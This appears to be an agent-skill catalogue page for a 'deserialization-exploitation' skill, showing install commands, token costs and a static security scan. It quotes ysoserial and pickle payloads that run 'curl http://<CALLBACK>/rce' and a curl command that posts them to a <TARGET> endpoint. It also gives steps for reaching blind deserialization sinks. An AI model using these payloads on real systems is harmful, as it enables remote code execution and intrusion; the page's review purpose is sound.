Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill deserialization-exploitationgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/deserialization-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00065 | $0.05385 |
| Opus 5 | $0.00032 | $0.02693 |
| Sonnet 5 | $0.00013 | $0.01077 |
| Haiku 4.5 | $0.00006 | $0.00539 |
Grade A, and why
deserialization-exploitation scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
# Inject via curl curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('curl http://<CALLBACK>/rce',)) How it starts
The opening of the file, as written. The whole thing — 305 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure Deserialization
Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.
Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)
Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:
- Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read
recon_notes.mdfor the "Sink preconditions" table and "Required session state" line. - If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
- Replay with the gating cookie attached before concluding the chain or gadget is wrong.
- Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).
Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.
Identifying Deserialization Points
- Java: Base64-encoded blobs starting with
rO0AB(raw) oraced0005(hex),Content-Type: application/x-java-serialized-object - PHP: Strings matching
O:[0-9]+:"ora:[0-9]+:{, cookies/parameters with serialized data - .NET:
VIEWSTATEparameter,Content-Type: application/soap+xml,__VIEWSTATEfield - Python: Base64-encoded pickle data,
application/x-python-pickle
Java — ysoserial
# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0
# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 305 lines · 65 tokens per session scan A 3885e5f2fffd
deserialization-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 65 tokens to every session and 5,385 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.